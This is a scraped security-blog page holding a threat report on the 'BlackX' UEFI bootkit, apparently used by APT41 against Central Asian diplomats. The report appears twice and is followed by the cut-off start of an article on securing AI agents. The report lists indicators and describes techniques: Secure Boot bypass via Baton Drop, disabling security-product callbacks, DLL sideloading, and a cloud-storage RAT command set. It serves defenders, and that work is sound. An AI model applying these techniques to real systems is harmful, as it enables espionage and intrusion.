href="https://www.theregister.com/security/2022/10/14/banks-face-their-darkest-hour-as-crimeware-powers-up/468522" rel="noopener" target="_blank">had been advertising</a> a UEFI bootkit, dubbed BlackLotus, that could bypass Secure Boot, for $5,000. Given the low price for such powerful capabilities, the cybersecurity community initially took this advertisement with a grain of salt. As no BlackLotus samples were found in the wild, no one could at the time verify the claims made in the forum post.</p> <div class="wp-caption aligncenter" id="attachment_121602-2" style="width: 1610px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1.png"><img alt="BlackLotus advertisement" aria-describedby="caption-attachment-121602-2" class="size-full wp-image-121602" decoding="async" height="629" sizes="auto, (max-width: 1600px) 100vw, 1600px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1.png 1600w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1-300x118.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1-1024x403.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1-768x302.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1-1536x604.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1-890x350.png 890w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1-740x291.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1-712x280.png 712w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1-800x315.png 800w" title="uefi-bootkit-blackx1" width="1600" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121602-2">BlackLotus advertisement</p></div> <p>However, about half a year later, in March 2023, ESET <a href="https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/" rel="noopener" target="_blank">confirmed</a> that the BlackLotus advertisement was genuine. The researchers tracked down samples of this bootkit and confirmed that it can indeed bypass Secure Boot through a vulnerability called Baton Drop (CVE-2022-21894). As this vulnerability was still exploitable in 2023, Microsoft had to release multiple security updates to address it.</p> <p>Since the release of these updates, the BlackLotus bootkit has gone quiet — no publicly known attacks have used it. Yet in early 2026, we discovered a malware sample similar to BlackLotus that was used in an APT campaign in Central Asia. In this report, we share our findings, including new payloads and possible attribution of this campaign.</p> <h2 id="the-return-of-the-infamous-bootkit">The return of the infamous bootkit</h2> <p>In early 2026 we identified a complex APT attack targeting diplomatic agencies in Central Asian countries — namely Tajikistan, Uzbekistan, and Turkmenistan. This attack involved a UEFI bootkit that we dubbed BlackX. Having examined it, we found it to be similar to BlackLotus.</p> <p>Attackers have been deploying BlackX after compromising the victim machine networks and obtaining administrator privileges. To install the bootkit, we observed them dropping the following files:</p> <ul> <li><code>inst.exe</code>, an installer executable</li> <li><code>PVMDIJGKAX2</code>, an RC4-encrypted extensionless file containing files and strings required for the installation</li> </ul> <p>The installer was launched with the command line <code>C:\ProgramData\Intel\inst.exe PVMDIJGKAX2 Q46F6MDLI3RX2KV1</code>. The last argument here is the RC4 key used for decryption.</p> <p>Curiously, the file <code>inst.exe</code> does not contain any malicious strings or embedded blobs. All the files needed to install the malicious payload are inside <code>PVMDIJGKAX2</code>, which makes it harder for incident responders to retrieve the bootkit components.</p> <p>The installer package drops a set of files to both system and UEFI partitions, designed to exploit the Baton Drop vulnerability. We noted that the implementation of the exploit is remarkably similar to the one used in the BlackLotus malware. As with BlackLotus, the goal of the exploit is to install custom Machine Owner Keys (MOK), which allows loading arbitrary EFI files on the target machines to manipulate Secure Boot.</p> <p>While the vulnerability exploitation chain was implemented very similarly to BlackLotus, we spotted differences between the exploits in BlackLotus and BlackX. That said, the source code of the BlackLotus bootkit has never been published online. This could mean that the attackers behind BlackX either reverse-engineered the BlackLotus bootkit or purchased its source code from cybercriminals. Either way, this is an interesting observation, as we rarely see APT actors borrow ideas or code from cybercrime actors.</p> <p>The UEFI payload delivered during the Baton Drop exploitation has a classic bootkit goal — to inject a malicious driver into the Windows kernel. This driver differs from the one deployed by BlackLotus and is signed with a certificate belonging to an organization named 温江区明宇网络技术服务工作室 (English: Wenjiang District Mingyu Network Technology Service Studio). At the time of writing, this certificate (serial number: 0bcdf5e0da32d68900b8b7638459d072) has been revoked by its issuer.</p> <p>The driver aims to tamper with security solutions installed on the machine. For example, it disables process, thread, and registry callbacks related to security solutions. It also tampers with ETW providers so that security solutions cannot access their output. Curiously, some of the tampering procedures are designed to run only if Kaspersky or Avast solutions are installed on the infected machine. However, during dynamic analysis of this driver, we found that these procedures are useless — they fail to interfere with Kaspersky products in any way.</p> <p>The driver also protects the bootkit’s files from tampering. It intercepts kernel requests to open these files and returns a handle to <code>calc.exe</code> instead of a malicious file handle.</p> <h2 id="user-mode-second-stage-payloads">User-mode second-stage payloads</h2> <p>Apart from tampering with security solutions, the driver also deploys a user-mode payload. We observed two such payloads, used for cyberespionage, in the wild. One of them is a RAT that can load further-stage .NET payloads. This RAT uses cloud storage for C2 server communications — we observed its versions using Google Drive, OneDrive, and Yandex.Disk. Having connected to a cloud storage service, this RAT iterates over files available there and interprets them depending on the file suffix. Below is a list of supported suffixes:</p> <table> <thead> <tr> <td><strong>File suffix</strong></td> <td><strong>Description</strong></td> <td><strong>Type</strong></td> </tr> </thead> <tbody> <tr> <td>0X01</td> <td>A .NET file. The task is to parse it and run the method TEST.Class1.RunCMD(argument_array) from the module</td> <td>Input</td> </tr> <tr> <td>0X02</td> <td>Result of the call TEST.Class1.RunCMD(argument_array)</td> <td>Output</td> </tr> <tr> <td>0X03</td> <td>Task to upload a file to the drive</td> <td>Input</td> </tr> <tr> <td>0X04</td> <td>Uploaded file</td> <td>Output</td> </tr> <tr> <td>0X05</td> <td>Task to download a file to an infected machine</td> <td>Input</td> </tr> <tr> <td>0X06</td> <td>File download status</td> <td>Output</td> </tr> <tr> <td>SSSR</td> <td>Contains initial system info</td> <td>Output</td> </tr> </tbody> </table> <p>We also observed another payload delivered through the bootkit, which we dubbed OxiDLLRunner. It is a malicious DLL obfuscated with OLLVM. It is loaded by the legitimate file <code>googleupdate.exe</code> (original filename: <code>jcef_helper.exe</code>, MD5: AF8A983B9ADA07EAE1259BF2953ABD40), which is also delivered by the bootkit. The DLL decrypts the contents of the file <code>v8_context_snapshot.bin</code>, which resides in the same folder, and then jumps to the beginning of the decrypted content. The decrypted data starts with shellcode followed by a PE file, which is a Rust payload designed to communicate with the <code>www[.]archivetj[.]com</code> C2 server. During communication, this payload is supposed to receive DLL files exporting a function named <code>create_plugin</code>, which are then executed in separate threads.</p> <h2 id="attribution">Attribution</h2> <p>Based on the following facts, we have attributed this attack to the APT41 threat actor with medium confidence:</p> <ul> <li>In June 2026, ESET <a href="https://www.welivesecurity.com/en/eset-research/fishmongers-arsenal-upgraded-sprysocks-windows/" rel="noopener" target="_blank">published a blog post</a> on attacks by the FishMonger threat actor, which the community assumes to be related to APT41. This post describes a kernel implant with a PDB path starting with C:\Users\<strong>xdd</strong>\Desktop. While describing the campaign, the post also suggests the possible use of an unspecified UEFI bootkit component, which might exploit CVE‑2023‑24932. We observed the identifier “xdd” used multiple times in the BlackX bootkit payloads, so we assess that BlackX is the UEFI bootkit referenced in the ESET blog post;</li> <li>The payloads deployed by BlackX are loaded using a legitimate executable abused via DLL sideloading, and an encrypted file — this pattern is common among Chinese-speaking threat actors;</li> <li>The OxiDLLRunner file has been obfuscated with OLLVM, an obfuscator commonly used by Chinese-speaking actors.</li> </ul> <h2 id="why-did-the-target-organizations-get-infected">Why did the target organizations get infected?</h2> <p>During our initial analysis of BlackX, we thought that attackers succeeded in deploying it due to the negligence of the target organizations. Baton Drop, the vulnerability used to deploy BlackX, was disclosed back in 2023 and was patched, so we first thought that the infected machines lacked the relevant updates. However, our investigation proved this wrong — the targeted machines were fully patched.</p> <p>Instead, we found out that the problem was with the patch itself. As it turned out, the patch for the Baton Drop vulnerability is designed to revoke the “Windows Production PCA 2011” certificate used to sign vulnerable UEFI components. However, this revocation does not happen automatically upon patch installation — the user has to <a href="https://techcommunity.microsoft.com/blog/windows-itpro-blog/revoking-vulnerable-windows-boot-managers/4121735" rel="noopener" target="_blank">trigger it manually</a>. This is done with the following steps:</p> <ul> <li>A registry flag is set inside HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Secureboot;</li> <li>A scheduled task named Secure-Boot-Update is created.</li> </ul> <p>This patch is designed to be applied manually — for instance, applying it automatically could break dual-boot systems relying on the “Windows Production PCA 2011” certificate to load. At the same time, this patch deployment practice creates a problem — as it is extremely unusual for a system administrator to take extra steps after installing an update. Usually, when applying patches, system administrators take no further action unless an installation failure occurs. These instructions for activating the patch are buried deep on the Microsoft website, and we assess that they are quite hard for an average IT administrator to notice.</p> <p>Curiously, <a href="https://support.microsoft.com/en-us/servicing/os/windows/2023/03/how-to-manage-the-windows-boot-manager-revocations-for-secure-boot-changes-associated-with-cve-2023" rel="noopener" target="_blank">Microsoft’s plan</a> for deploying the Baton Drop patches mentions an “Enforcement Phase” that involves revoking the “Windows Production PCA 2011” certificate automatically, without user interaction. At the time of publishing this post, this stage has not been implemented. On October 19, 2026, this certificate expired, but this does not prevent the vulnerable binaries from loading unless the certificate is blocklisted.</p> <p>It is likely that the threat actor behind this campaign took into account that few organizations realized the importance of manually activating the Baton Drop patch. As such, we believe they decided to invest time in understanding how BlackLotus works and creating a copycat of this bootkit.</p> <h2 id="conclusion">Conclusion</h2> <p>Patch management is important for every organization, as updates from vendors help protect software and hardware against known vulnerabilities. However, sometimes installed patches fail to protect against the flaws they address. The BlackLotus story we described is not the only such example — for instance, in 2025 Microsoft released an update against the <a href="https://securelist.com/toolshell-explained/117045/" rel="noopener" target="_blank">ToolShell vulnerability</a> that also had to be applied manually.</p> <p>However, modern security solutions are designed to account for such cases when installed patches fail to protect against security flaws for one reason or another. For instance, the <a href="https://www.kaspersky.com/enterprise-security/wiki-section/products/exploit-prevention" rel="noopener" target="_blank">Exploit Prevention component</a> available in Kaspersky products prevents exploits from running if the patch is not applied, or if it is a zero-day vulnerability with no available patch. It is thus crucial to equip all machines in an organization with security solutions and constantly monitor the alerts they raise.</p> </div> </div> </div> <!-- .entry-comments --> </div> </div> </div> <div class="c-article__main"> <div class="o-row c-article__container"> <div class="o-col c-article__content js-article-body"> <div class="js-reading-wrapper"> <figure class="c-article__figure u-hidden u-block@md"> <img alt="" class="attachment-securelist-2020-thumbnail-large size-securelist-2020-thumbnail-large wp-post-image" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-1200x600.jpg" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-1200x600.jpg 1200w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-300x150.jpg 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-1024x512.jpg 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-768x384.jpg 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-1536x768.jpg 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-2048x1024.jpg 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-700x350.jpg 700w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-740x370.jpg 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-560x280.jpg 560w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-800x400.jpg 800w" decoding="async" height="600" sizes="auto, (max-width: 1200px) 100vw, 1200px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-1200x600.jpg" srcset="" width="1200" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </figure> <div class="c-article__authors u-hidden u-block@md"> <p class="c-block__title">Authors</p> <ul class="c-list-authors"> <li> <a href="https://securelist.com/author/georgykucherin/"> <img alt="" class="avatar avatar-30 photo" decoding="async" height="30" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2023/03/21081441/Georgy-Kucherin_Securelist-30x30.jpg" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2023/03/21081441/Georgy-Kucherin_Securelist-60x60.jpg 2x" width="30" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> <span>Georgy Kucherin</span></a> </li> <li> <a href="https://securelist.com/author/vladimirnestor/"> <span>Vladimir Nestor</span></a> </li> <li> <a href="https://securelist.com/author/vasilyberdnikov/"> <img alt="" class="avatar avatar-30 photo" decoding="async" height="30" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/12/09140717/berdnikov-scaled-30x30.jpg" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/12/09140717/berdnikov-scaled-60x60.jpg 2x" width="30" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> <span>Vasily Berdnikov</span></a> </li> </ul> </div> <div class="js-reading-content"> <div class="c-wysiwyg"> <h2 id="introduction">Introduction</h2> <p>Back in October 2022, Kaspersky GReAT was looking into a peculiar advertisement on a hacking forum. A cybercriminal <a href="https://www.theregister.com/security/2022/10/14/banks-face-their-darkest-hour-as-crimeware-powers-up/468522" rel="noopener" target="_blank">had been advertising</a> a UEFI bootkit, dubbed BlackLotus, that could bypass Secure Boot, for $5,000. Given the low price for such powerful capabilities, the cybersecurity community initially took this advertisement with a grain of salt. As no BlackLotus samples were found in the wild, no one could at the time verify the claims made in the forum post.</p> <div class="wp-caption aligncenter" id="attachment_121602-2" style="width: 1610px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1.png"><img alt="BlackLotus advertisement" aria-describedby="caption-attachment-121602-2" class="size-full wp-image-121602" decoding="async" height="629" sizes="auto, (max-width: 1600px) 100vw, 1600px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1.png 1600w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1-300x118.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1-1024x403.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1-768x302.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1-1536x604.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1-890x350.png 890w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1-740x291.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1-712x280.png 712w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21191203/uefi-bootkit-blackx1-800x315.png 800w" title="uefi-bootkit-blackx1" width="1600" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121602-2">BlackLotus advertisement</p></div> <p>However, about half a year later, in March 2023, ESET <a href="https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/" rel="noopener" target="_blank">confirmed</a> that the BlackLotus advertisement was genuine. The researchers tracked down samples of this bootkit and confirmed that it can indeed bypass Secure Boot through a vulnerability called Baton Drop (CVE-2022-21894). As this vulnerability was still exploitable in 2023, Microsoft had to release multiple security updates to address it.</p> <p>Since the release of these updates, the BlackLotus bootkit has gone quiet — no publicly known attacks have used it. Yet in early 2026, we discovered a malware sample similar to BlackLotus that was used in an APT campaign in Central Asia. In this report, we share our findings, including new payloads and possible attribution of this campaign.</p> <h2 id="the-return-of-the-infamous-bootkit">The return of the infamous bootkit</h2> <p>In early 2026 we identified a complex APT attack targeting diplomatic agencies in Central Asian countries — namely Tajikistan, Uzbekistan, and Turkmenistan. This attack involved a UEFI bootkit that we dubbed BlackX. Having examined it, we found it to be similar to BlackLotus.</p> <p>Attackers have been deploying BlackX after compromising the victim machine networks and obtaining administrator privileges. To install the bootkit, we observed them dropping the following files:</p> <ul> <li><code>inst.exe</code>, an installer executable</li> <li><code>PVMDIJGKAX2</code>, an RC4-encrypted extensionless file containing files and strings required for the installation</li> </ul> <p>The installer was launched with the command line <code>C:\ProgramData\Intel\inst.exe PVMDIJGKAX2 Q46F6MDLI3RX2KV1</code>. The last argument here is the RC4 key used for decryption.</p> <p>Curiously, the file <code>inst.exe</code> does not contain any malicious strings or embedded blobs. All the files needed to install the malicious payload are inside <code>PVMDIJGKAX2</code>, which makes it harder for incident responders to retrieve the bootkit components.</p> <p>The installer package drops a set of files to both system and UEFI partitions, designed to exploit the Baton Drop vulnerability. We noted that the implementation of the exploit is remarkably similar to the one used in the BlackLotus malware. As with BlackLotus, the goal of the exploit is to install custom Machine Owner Keys (MOK), which allows loading arbitrary EFI files on the target machines to manipulate Secure Boot.</p> <p>While the vulnerability exploitation chain was implemented very similarly to BlackLotus, we spotted differences between the exploits in BlackLotus and BlackX. That said, the source code of the BlackLotus bootkit has never been published online. This could mean that the attackers behind BlackX either reverse-engineered the BlackLotus bootkit or purchased its source code from cybercriminals. Either way, this is an interesting observation, as we rarely see APT actors borrow ideas or code from cybercrime actors.</p> <p>The UEFI payload delivered during the Baton Drop exploitation has a classic bootkit goal — to inject a malicious driver into the Windows kernel. This driver differs from the one deployed by BlackLotus and is signed with a certificate belonging to an organization named 温江区明宇网络技术服务工作室 (English: Wenjiang District Mingyu Network Technology Service Studio). At the time of writing, this certificate (serial number: 0bcdf5e0da32d68900b8b7638459d072) has been revoked by its issuer.</p> <p>The driver aims to tamper with security solutions installed on the machine. For example, it disables process, thread, and registry callbacks related to security solutions. It also tampers with ETW providers so that security solutions cannot access their output. Curiously, some of the tampering procedures are designed to run only if Kaspersky or Avast solutions are installed on the infected machine. However, during dynamic analysis of this driver, we found that these procedures are useless — they fail to interfere with Kaspersky products in any way.</p> <p>The driver also protects the bootkit’s files from tampering. It intercepts kernel requests to open these files and returns a handle to <code>calc.exe</code> instead of a malicious file handle.</p> <h2 id="user-mode-second-stage-payloads">User-mode second-stage payloads</h2> <p>Apart from tampering with security solutions, the driver also deploys a user-mode payload. We observed two such payloads, used for cyberespionage, in the wild. One of them is a RAT that can load further-stage .NET payloads. This RAT uses cloud storage for C2 server communications — we observed its versions using Google Drive, OneDrive, and Yandex.Disk. Having connected to a cloud storage service, this RAT iterates over files available there and interprets them depending on the file suffix. Below is a list of supported suffixes:</p> <table> <thead> <tr> <td><strong>File suffix</strong></td> <td><strong>Description</strong></td> <td><strong>Type</strong></td> </tr> </thead> <tbody> <tr> <td>0X01</td> <td>A .NET file. The task is to parse it and run the method TEST.Class1.RunCMD(argument_array) from the module</td> <td>Input</td> </tr> <tr> <td>0X02</td> <td>Result of the call TEST.Class1.RunCMD(argument_array)</td> <td>Output</td> </tr> <tr> <td>0X03</td> <td>Task to upload a file to the drive</td> <td>Input</td> </tr> <tr> <td>0X04</td> <td>Uploaded file</td> <td>Output</td> </tr> <tr> <td>0X05</td> <td>Task to download a file to an infected machine</td> <td>Input</td> </tr> <tr> <td>0X06</td> <td>File download status</td> <td>Output</td> </tr> <tr> <td>SSSR</td> <td>Contains initial system info</td> <td>Output</td> </tr> </tbody> </table> <p>We also observed another payload delivered through the bootkit, which we dubbed OxiDLLRunner. It is a malicious DLL obfuscated with OLLVM. It is loaded by the legitimate file <code>googleupdate.exe</code> (original filename: <code>jcef_helper.exe</code>, MD5: AF8A983B9ADA07EAE1259BF2953ABD40), which is also delivered by the bootkit. The DLL decrypts the contents of the file <code>v8_context_snapshot.bin</code>, which resides in the same folder, and then jumps to the beginning of the decrypted content. The decrypted data starts with shellcode followed by a PE file, which is a Rust payload designed to communicate with the <code>www[.]archivetj[.]com</code> C2 server. During communication, this payload is supposed to receive DLL files exporting a function named <code>create_plugin</code>, which are then executed in separate threads.</p> <h2 id="attribution">Attribution</h2> <p>Based on the following facts, we have attributed this attack to the APT41 threat actor with medium confidence:</p> <ul> <li>In June 2026, ESET <a href="https://www.welivesecurity.com/en/eset-research/fishmongers-arsenal-upgraded-sprysocks-windows/" rel="noopener" target="_blank">published a blog post</a> on attacks by the FishMonger threat actor, which the community assumes to be related to APT41. This post describes a kernel implant with a PDB path starting with C:\Users\<strong>xdd</strong>\Desktop. While describing the campaign, the post also suggests the possible use of an unspecified UEFI bootkit component, which might exploit CVE‑2023‑24932. We observed the identifier “xdd” used multiple times in the BlackX bootkit payloads, so we assess that BlackX is the UEFI bootkit referenced in the ESET blog post;</li> <li>The payloads deployed by BlackX are loaded using a legitimate executable abused via DLL sideloading, and an encrypted file — this pattern is common among Chinese-speaking threat actors;</li> <li>The OxiDLLRunner file has been obfuscated with OLLVM, an obfuscator commonly used by Chinese-speaking actors.</li> </ul> <h2 id="why-did-the-target-organizations-get-infected">Why did the target organizations get infected?</h2> <p>During our initial analysis of BlackX, we thought that attackers succeeded in deploying it due to the negligence of the target organizations. Baton Drop, the vulnerability used to deploy BlackX, was disclosed back in 2023 and was patched, so we first thought that the infected machines lacked the relevant updates. However, our investigation proved this wrong — the targeted machines were fully patched.</p> <p>Instead, we found out that the problem was with the patch itself. As it turned out, the patch for the Baton Drop vulnerability is designed to revoke the “Windows Production PCA 2011” certificate used to sign vulnerable UEFI components. However, this revocation does not happen automatically upon patch installation — the user has to <a href="https://techcommunity.microsoft.com/blog/windows-itpro-blog/revoking-vulnerable-windows-boot-managers/4121735" rel="noopener" target="_blank">trigger it manually</a>. This is done with the following steps:</p> <ul> <li>A registry flag is set inside HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Secureboot;</li> <li>A scheduled task named Secure-Boot-Update is created.</li> </ul> <p>This patch is designed to be applied manually — for instance, applying it automatically could break dual-boot systems relying on the “Windows Production PCA 2011” certificate to load. At the same time, this patch deployment practice creates a problem — as it is extremely unusual for a system administrator to take extra steps after installing an update. Usually, when applying patches, system administrators take no further action unless an installation failure occurs. These instructions for activating the patch are buried deep on the Microsoft website, and we assess that they are quite hard for an average IT administrator to notice.</p> <p>Curiously, <a href="https://support.microsoft.com/en-us/servicing/os/windows/2023/03/how-to-manage-the-windows-boot-manager-revocations-for-secure-boot-changes-associated-with-cve-2023" rel="noopener" target="_blank">Microsoft’s plan</a> for deploying the Baton Drop patches mentions an “Enforcement Phase” that involves revoking the “Windows Production PCA 2011” certificate automatically, without user interaction. At the time of publishing this post, this stage has not been implemented. On October 19, 2026, this certificate expired, but this does not prevent the vulnerable binaries from loading unless the certificate is blocklisted.</p> <p>It is likely that the threat actor behind this campaign took into account that few organizations realized the importance of manually activating the Baton Drop patch. As such, we believe they decided to invest time in understanding how BlackLotus works and creating a copycat of this bootkit.</p> <h2 id="conclusion">Conclusion</h2> <p>Patch management is important for every organization, as updates from vendors help protect software and hardware against known vulnerabilities. However, sometimes installed patches fail to protect against the flaws they address. The BlackLotus story we described is not the only such example — for instance, in 2025 Microsoft released an update against the <a href="https://securelist.com/toolshell-explained/117045/" rel="noopener" target="_blank">ToolShell vulnerability</a> that also had to be applied manually.</p> <p>However, modern security solutions are designed to account for such cases when installed patches fail to protect against security flaws for one reason or another. For instance, the <a href="https://www.kaspersky.com/enterprise-security/wiki-section/products/exploit-prevention" rel="noopener" target="_blank">Exploit Prevention component</a> available in Kaspersky products prevents exploits from running if the patch is not applied, or if it is a zero-day vulnerability with no available patch. It is thus crucial to equip all machines in an organization with security solutions and constantly monitor the alerts they raise.</p> </div> </div> </div> <!-- .entry-comments --> </div> </div> </div> https://securelist.com/uefi-bootkit-blackx/121539/ cyber Thu, 22 Oct 2026 06:00:48 +0000 Deploying AI agents securely: how Kaspersky products mitigate AI threats https://securelist.com/tr/how-to-secure-ai-agents/121444/ <div class="c-article__main"> <div class="o-row c-article__container"> <div class="o-col c-article__content js-article-body"> <div class="js-reading-wrapper"> <figure class="c-article__figure u-hidden u-block@md"> <img alt="" class="attachment-securelist-2020-thumbnail-large size-securelist-2020-thumbnail-large wp-post-image" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/12084535/safe-use-of-ai-agents-featured-image-scaled-1-1200x600.jpg" data-srcset="" decoding="async" height="600" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/12084535/safe-use-of-ai-agents-featured-image-scaled-1-1200x600.jpg" srcset="" width="1200" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </figure> <div class="js-reading-content"> <div class="c-wysiwyg"> <h2 id="introduction">Introduction</h2> <p>AI agents and associated tooling are becoming increasingly common in corporate infrastructure. Agents can perform a range of actions with the user’s privileges, such as accessing data, running commands, and interacting with external services. This creates new security risks, especially when these tools are used without the security team’s oversight or well-designed policies.</p> <p>Detecting, tracking, and controlling AI agents is becoming one of the most pressing tasks for security teams today. We closely follow technological developments and continuously update our solutions to respond to new threats in a timely manner amid a rapidly changing technology landscape. This post describes new expertise built into Kaspersky products that helps counter the threats posed by the proliferation of AI agents. We approach this problem from several angles.</p> <p>First, you need to thoroughly understand the threat you are dealing with. To this end, we added profiles to the <a href="https://www.kaspersky.com/enterprise-security/threat-intelligence-portal?icid=gl_sl_post-ti_sm-team_9e01cef3d70c6a19" rel="noopener" target="_blank">Kaspersky Threat Intelligence Portal</a> that describe various AI agents and how attackers exploit them. At their core, AI agents are programs (processes) that run in the operating system on endpoints and can also launch other processes. This means that <a href="https://www.kaspersky.com/enterprise-security/endpoint-detection-response-edr?icid=gl_sl_post-kedr-expert_sm-team_29dc1130f3f612f2" rel="noopener" target="_blank">Endpoint Detection and Response</a> solutions are among the key endpoint controls for this threat. These solutions detect the presence and launch of AI agents, track their activity, and identify potentially dangerous behavior. When needed, they also take action, such as stopping a suspicious process, blocking the activity, or isolating the host, to reduce the likelihood of an incident escalating. For this purpose, we developed specially adapted detection rules.</p> <p>You can use Kaspersky Endpoint Security, now also available as <a href="https://www.kaspersky.com/next?icid=gl_sl_knext-post_sm-team_cede4e5dff54f34a" rel="noopener" target="_blank">Kaspersky Next</a>, to control and restrict the launch of AI agents. This solution uses two components to detect AI agents and control how they are used. Application Control categorizes the application processes launched on endpoints, and Web Control manages access to specific categories of web resources for users on endpoints.</p> <p>Finally, even harmless AI agents can contain malicious instructions (skills), such as those downloaded from unsafe external sources. <a href="https://www.kaspersky.com/scan-engine?icid=gl_sl_scan-engine-lnk_sm-team_65e719cc6abfcea0" target="_blank">Kaspersky Scan Engine</a> analyzes installed applications to detect these threats and also checks LLM files for malicious code. Let’s take a closer look at these solutions and technologies.</p> <h2 id="popular-ai-applications-and-services-in-organizations">Popular AI applications and services in organizations</h2> <p>Tools from Anthropic and OpenAI take the top spots in the September 2026 ranking of AI agents by popularity among Kaspersky users. This list is based on telemetry from Kaspersky solutions. It shows the number of users who had the relevant AI vendors’ products installed at the time of the study.</p> <table> <tbody> <tr> <td><strong>#</strong></td> <td><strong>AI product</strong></td> </tr> <tr> <td>1</td> <td>Claude</td> </tr> <tr> <td>2</td> <td>Claude Code</td> </tr> <tr> <td>3</td> <td>Codex</td> </tr> <tr> <td>4</td> <td>OpenCode</td> </tr> <tr> <td>5</td> <td>Zed</td> </tr> <tr> <td>6</td> <td>Wispr Flow</td> </tr> <tr> <td>7</td> <td>LM Studio</td> </tr> <tr> <td>8</td> <td>ZCode</td> </tr> <tr> <td>9</td> <td>Chatbox</td> </tr> <tr> <td>10</td> <td>Cherry Studio</td> </tr> </tbody> </table> <p>The data shows that agentic systems, especially AI agents for software development, are the most popular AI applications. The TOP 10 also includes an application for running large language models locally (LM Studio) and a voice note-taking app (Wispr Flow).</p> <p>According to open sources, these are the most widely used AI services in 2026:</p> <table> <tbody> <tr> <td><strong>#</strong></td> <td><strong>AI service</strong></td> </tr> <tr> <td>1</td> <td>ChatGPT</td> </tr> <tr> <td>2</td> <td>Google Gemini</td> </tr> <tr> <td>3</td> <td>Claude</td> </tr> <tr> <td>4</td> <td>Grammarly</td> </tr> <tr> <td>5</td> <td>DeepSeek</td> </tr> </tbody> </table> <p>While analyzing the most popular and widely used apps, our experts also noticed a <a href="https://securelist.com/vulnerabilities-and-exploits-in-q2-2026/121091/#llm-ai-tool-vulnerabilities" rel="noopener" target="_blank">sharp rise in 